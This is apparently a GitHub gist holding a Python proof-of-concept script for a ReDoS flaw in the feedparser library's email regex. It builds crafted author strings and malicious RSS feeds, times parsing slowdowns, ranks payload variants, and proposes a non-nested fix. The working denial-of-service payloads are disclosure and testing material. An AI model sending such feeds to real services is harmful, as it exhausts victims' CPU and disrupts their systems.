-
-
Save kmanan/3ef665c68463fa3dddb593aff4ac0405 to your computer and use it in GitHub Desktop.
feedparser_redos_poc.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| Proof of Concept: ReDoS in feedparser email regex | |
| ================================================== | |
| Vulnerability: The email regex in feedparser/mixin.py uses a nested | |
| quantifier (([a-zA-Z0-9\\-]+\\.)+) that causes O(n^2) backtracking | |
| when processing crafted author strings. | |
| Affected: feedparser <= 6.0.11 (confirmed), 6.0.12 (confirmed via source) | |
| Usage: | |
| pip install feedparser | |
| python poc_validate_redos.py | |
| This script runs three independent tests: | |
| Part 1: Isolated regex (no feedparser import needed) | |
| Part 2: Full feedparser.parse() with crafted RSS feed | |
| Part 3: Multi-item amplification | |
| Each test measures wall-clock time and reports whether ReDoS is confirmed. | |
| """ | |
| import re | |
| import sys | |
| import time | |
| # ============================================================================ | |
| # CONFIGURATION | |
| # ============================================================================ | |
| # The exact regex from feedparser/mixin.py line 746 (v6.0.11) | |
| # Also present in v6.0.12 develop branch at lines 50-55 | |
| VULNERABLE_REGEX = re.compile( | |
| r'''(([a-zA-Z0-9\_\-\.\+]+)@''' | |
| r'''((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)''' | |
| r'''|(([a-zA-Z0-9\-]+\.)+))''' | |
| r'''([a-zA-Z]{2,4}|[0-9]{1,3})''' | |
| r'''(\]?))(\?subject=\S+)?''' | |
| ) | |
| # Segment counts to test. Each segment is "a-b." (4 bytes). | |
| # The time should grow roughly as O(n^2). | |
| ISOLATED_TEST_SIZES = [100, 250, 500, 1000, 2000, 5000, 10000] | |
| # For feedparser integration tests (smaller to avoid very long waits) | |
| FEEDPARSER_TEST_SIZES = [500, 1000, 2000, 5000] | |
| def banner(title): | |
| width = 70 | |
| print() | |
| print("=" * width) | |
| print(f" {title}") | |
| print("=" * width) | |
| def build_payload(n_segments, segment="a-b.", prefix="user@", suffix="!"): | |
| """Build a malicious email-like string with n_segments dotted segments. | |
| The payload structure is: | |
| [email protected].[...n times...]a-b.! | |
| - The prefix 'user@' enters the email regex's local-part + '@' match. | |
| - Each 'a-b.' segment matches the inner ([a-zA-Z0-9\\-]+\\.)+ loop. | |
| - The suffix '!' prevents the TLD group ([a-zA-Z]{2,4}|[0-9]{1,3}) | |
| from matching, forcing the regex to backtrack through all possible | |
| partitions of the segments. | |
| """ | |
| return prefix + (segment * n_segments) + suffix | |
| # ============================================================================ | |
| # PART 1: ISOLATED REGEX TEST | |
| # ============================================================================ | |
| def test_isolated_regex(): | |
| banner("PART 1: Isolated Regex Test (no feedparser needed)") | |
| print() | |
| print("Testing the vulnerable regex pattern in isolation.") | |
| print("The regex is applied via re.search() to a crafted string.") | |
| print("Expected: time grows quadratically with segment count.") | |
| print() | |
| results = [] | |
| prev_time = None | |
| print(f"{'Segments':>10} | {'Payload':>14} | {'Time':>10} | {'Ratio':>8} | {'Result':>10}") | |
| print("-" * 70) | |
| for n in ISOLATED_TEST_SIZES: | |
| payload = build_payload(n) | |
| payload_size = len(payload) | |
| start = time.perf_counter() | |
| match = VULNERABLE_REGEX.search(payload) | |
| elapsed = time.perf_counter() - start | |
| ratio = f"{elapsed / prev_time:.2f}x" if prev_time and prev_time > 0.001 else "—" | |
| result = "MATCH" if match else "NO MATCH" | |
| prev_time = elapsed | |
| results.append((n, payload_size, elapsed)) | |
| print(f"{n:>10} | {payload_size:>10} bytes | {elapsed:>9.4f}s | {ratio:>8} | {result:>10}") | |
| # Safety: stop if a single test exceeds 30 seconds | |
| if elapsed > 30: | |
| print(f"\n [!] Stopping — exceeded 30s safety limit.") | |
| break | |
| print() | |
| # Determine if quadratic growth is confirmed | |
| if len(results) >= 3: | |
| # Compare the last two ratios to confirm superlinear growth | |
| times = [r[2] for r in results if r[2] > 0.01] | |
| if len(times) >= 2: | |
| last_ratio = times[-1] / times[-2] | |
| if last_ratio > 2.0: | |
| print("[+] CONFIRMED: Superlinear time growth detected.") | |
| print(f" Last ratio: {last_ratio:.2f}x (expected ~4x for O(n^2))") | |
| return True | |
| else: | |
| print(f"[-] Growth ratio {last_ratio:.2f}x — may be linear on this platform.") | |
| print(" Try larger segment counts if your machine is fast.") | |
| return False | |
| print("[-] Insufficient data points to confirm.") | |
| return False | |
| # ============================================================================ | |
| # PART 2: FEEDPARSER INTEGRATION TEST | |
| # ============================================================================ | |
| RSS_TEMPLATE = '''<?xml version="1.0" encoding="UTF-8"?> | |
| <rss version="2.0"> | |
| <channel> | |
| <title>ReDoS PoC Feed</title> | |
| <link>https://example.com</link> | |
| <description>Proof of Concept for feedparser email regex ReDoS</description> | |
| {items} | |
| </channel> | |
| </rss>''' | |
| ITEM_TEMPLATE = ''' <item> | |
| <title>Item {n}</title> | |
| <author>{author}</author> | |
| <description>Normal description content.</description> | |
| </item>''' | |
| def build_rss_feed(n_segments, n_items=1, segment="a-b."): | |
| """Build a complete RSS feed with malicious <author> elements.""" | |
| payload = build_payload(n_segments, segment=segment) | |
| items = "\n".join( | |
| ITEM_TEMPLATE.format(n=i+1, author=payload) | |
| for i in range(n_items) | |
| ) | |
| return RSS_TEMPLATE.format(items=items) | |
| def test_feedparser_integration(): | |
| banner("PART 2: feedparser.parse() Integration Test") | |
| print() | |
| try: | |
| import feedparser | |
| print(f"feedparser version: {feedparser.__version__}") | |
| print(f"Python version: {sys.version}") | |
| except ImportError: | |
| print("[!] feedparser not installed. Run: pip install feedparser") | |
| print(" Skipping integration test.") | |
| return False | |
| # Baseline: normal feed | |
| normal_feed = RSS_TEMPLATE.format( | |
| items=ITEM_TEMPLATE.format(n=1, author="John Doe ([email protected])") | |
| ) | |
| start = time.perf_counter() | |
| feedparser.parse(normal_feed) | |
| baseline = time.perf_counter() - start | |
| print(f"Baseline (normal author): {baseline:.4f}s") | |
| print() | |
| print(f"{'Segments':>10} | {'Feed Size':>14} | {'Time':>10} | {'vs Baseline':>12}") | |
| print("-" * 60) | |
| results = [] | |
| for n in FEEDPARSER_TEST_SIZES: | |
| feed_xml = build_rss_feed(n) | |
| feed_size = len(feed_xml) | |
| start = time.perf_counter() | |
| result = feedparser.parse(feed_xml) | |
| elapsed = time.perf_counter() - start | |
| slowdown = f"{elapsed / baseline:.0f}x" if baseline > 0 else "—" | |
| results.append((n, feed_size, elapsed)) | |
| print(f"{n:>10} | {feed_size:>10} bytes | {elapsed:>9.4f}s | {slowdown:>12}") | |
| if elapsed > 30: | |
| print(f"\n [!] Stopping — exceeded 30s safety limit.") | |
| break | |
| print() | |
| # Verify the feed was actually parsed (not silently skipped) | |
| test_feed = build_rss_feed(100) | |
| parsed = feedparser.parse(test_feed) | |
| n_entries = len(parsed.entries) | |
| author = parsed.entries[0].get("author", "(not set)") if n_entries > 0 else "(no entries)" | |
| print(f"Parse verification: {n_entries} entries parsed, author field present: {bool(author)}") | |
| if results and results[-1][2] > 1.0: | |
| print(f"\n[+] CONFIRMED: feedparser.parse() took {results[-1][2]:.1f}s") | |
| print(f" for a {results[-1][1]:,}-byte feed.") | |
| return True | |
| else: | |
| print("\n[-] Not slow enough on this hardware to confirm.") | |
| print(" Try increasing FEEDPARSER_TEST_SIZES.") | |
| return False | |
| # ============================================================================ | |
| # PART 3: MULTI-ITEM AMPLIFICATION | |
| # ============================================================================ | |
| def test_multi_item_amplification(): | |
| banner("PART 3: Multi-Item Amplification") | |
| print() | |
| try: | |
| import feedparser | |
| except ImportError: | |
| print("[!] feedparser not installed. Skipping.") | |
| return False | |
| print("Testing how multiple <item> elements with malicious <author>") | |
| print("linearly amplify the total processing time.") | |
| print() | |
| n_segments = 2000 # ~8KB payload per item, takes ~0.5s per item | |
| print(f"Using {n_segments} segments per author ({len(build_payload(n_segments))} bytes each)") | |
| print() | |
| print(f"{'Items':>8} | {'Feed Size':>14} | {'Time':>10} | {'Per Item':>10}") | |
| print("-" * 55) | |
| for n_items in [1, 2, 5, 10]: | |
| feed_xml = build_rss_feed(n_segments, n_items=n_items) | |
| start = time.perf_counter() | |
| feedparser.parse(feed_xml) | |
| elapsed = time.perf_counter() - start | |
| per_item = elapsed / n_items | |
| print(f"{n_items:>8} | {len(feed_xml):>10} bytes | {elapsed:>9.4f}s | {per_item:>9.4f}s") | |
| if elapsed > 60: | |
| print(f"\n [!] Stopping — exceeded 60s safety limit.") | |
| break | |
| print() | |
| print("[*] Time should grow linearly with number of items,") | |
| print(" confirming each <author> element is independently vulnerable.") | |
| return True | |
| # ============================================================================ | |
| # PART 4: VARIANT ANALYSIS | |
| # ============================================================================ | |
| def test_variants(): | |
| banner("PART 4: Payload Variant Analysis") | |
| print() | |
| print("Testing different segment patterns to identify which") | |
| print("maximize backtracking time.") | |
| print() | |
| n = 2000 # Fixed segment count for comparison | |
| variants = [ | |
| ("a.", "Short (2 bytes/seg)"), | |
| ("ab.", "Medium-short (3 bytes/seg)"), | |
| ("a-b.", "Hyphenated (4 bytes/seg)"), | |
| ("a-b-c.", "Multi-hyphen (6 bytes/seg)"), | |
| ("a-b-c-d-e.", "Long-hyphen (10 bytes/seg)"), | |
| ("abcdefghij.", "Long-alpha (11 bytes/seg)"), | |
| ] | |
| print(f"{'Segment':>14} | {'Description':>28} | {'Payload':>10} | {'Time':>10}") | |
| print("-" * 75) | |
| for segment, description in variants: | |
| payload = build_payload(n, segment=segment) | |
| start = time.perf_counter() | |
| VULNERABLE_REGEX.search(payload) | |
| elapsed = time.perf_counter() - start | |
| print(f"{repr(segment):>14} | {description:>28} | {len(payload):>6} bytes | {elapsed:>9.4f}s") | |
| print() | |
| print("[*] Hyphenated segments are slowest because hyphens create more") | |
| print(" backtracking paths inside [a-zA-Z0-9\\-]+") | |
| # ============================================================================ | |
| # PART 5: SAFE REGEX COMPARISON | |
| # ============================================================================ | |
| def test_safe_regex(): | |
| banner("PART 5: Safe Regex Comparison") | |
| print() | |
| print("Demonstrating that a restructured regex is immune to ReDoS.") | |
| print() | |
| # Proposed fix: flat character class, no nesting | |
| SAFE_REGEX = re.compile( | |
| r'''(([a-zA-Z0-9\_\-\.\+]+)@''' | |
| r'''((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)''' | |
| r'''|([a-zA-Z0-9\-.]+))''' # <-- FLAT, no nesting | |
| r'''\.([a-zA-Z]{2,4}|[0-9]{1,3})''' | |
| r'''(\]?))(\?subject=\S+)?''' | |
| ) | |
| print(f"{'Segments':>10} | {'Vulnerable':>12} | {'Fixed':>12} | {'Speedup':>10}") | |
| print("-" * 55) | |
| for n in [1000, 5000, 10000]: | |
| payload = build_payload(n) | |
| start = time.perf_counter() | |
| VULNERABLE_REGEX.search(payload) | |
| t_vuln = time.perf_counter() - start | |
| start = time.perf_counter() | |
| SAFE_REGEX.search(payload) | |
| t_safe = time.perf_counter() - start | |
| speedup = f"{t_vuln / t_safe:.0f}x" if t_safe > 0 else "inf" | |
| print(f"{n:>10} | {t_vuln:>11.4f}s | {t_safe:>11.4f}s | {speedup:>10}") | |
| print() | |
| print("[*] The fixed regex processes the same inputs in constant/linear time.") | |
| # ============================================================================ | |
| # MAIN | |
| # ============================================================================ | |
| def main(): | |
| print() | |
| print("=" * 68) | |
| print(" feedparser ReDoS PoC -- Email Regex Vulnerability Validator") | |
| print("=" * 68) | |
| print(" Vulnerability: Nested quantifier in email domain matching") | |
| print(" Pattern: (([a-zA-Z0-9\\-]+\\.)+)") | |
| print(" File: feedparser/mixin.py, _sync_author_detail()") | |
| print(" Complexity: O(n^2) where n = number of dotted segments") | |
| print("=" * 68) | |
| print(f"\nPython: {sys.version}") | |
| print(f"Platform: {sys.platform}") | |
| # Part 1: Always runs (no dependencies) | |
| isolated_confirmed = test_isolated_regex() | |
| # Part 2-3: Requires feedparser | |
| feedparser_confirmed = test_feedparser_integration() | |
| test_multi_item_amplification() | |
| # Part 4-5: Analysis and comparison | |
| test_variants() | |
| test_safe_regex() | |
| # Final verdict | |
| banner("VERDICT") | |
| print() | |
| if isolated_confirmed or feedparser_confirmed: | |
| print("[+] ReDoS CONFIRMED in feedparser email regex.") | |
| print() | |
| print(" The nested quantifier (([a-zA-Z0-9\\-]+\\.)+) in") | |
| print(" feedparser/mixin.py causes O(n^2) backtracking") | |
| print(" when processing crafted author strings in RSS/Atom feeds.") | |
| print() | |
| print(" Exploitation path:") | |
| print(" 1. Attacker hosts RSS feed with malicious <author> element") | |
| print(" 2. Victim application calls feedparser.parse(feed_url)") | |
| print(" 3. CPU is consumed for seconds to minutes per feed item") | |
| print() | |
| print(" Impact: Denial of Service via CPU exhaustion") | |
| sys.exit(0) | |
| else: | |
| print("[-] Could not confirm ReDoS on this platform/configuration.") | |
| print(" This may be due to regex engine optimizations or") | |
| print(" insufficient payload sizes. Try larger test sizes.") | |
| sys.exit(1) | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment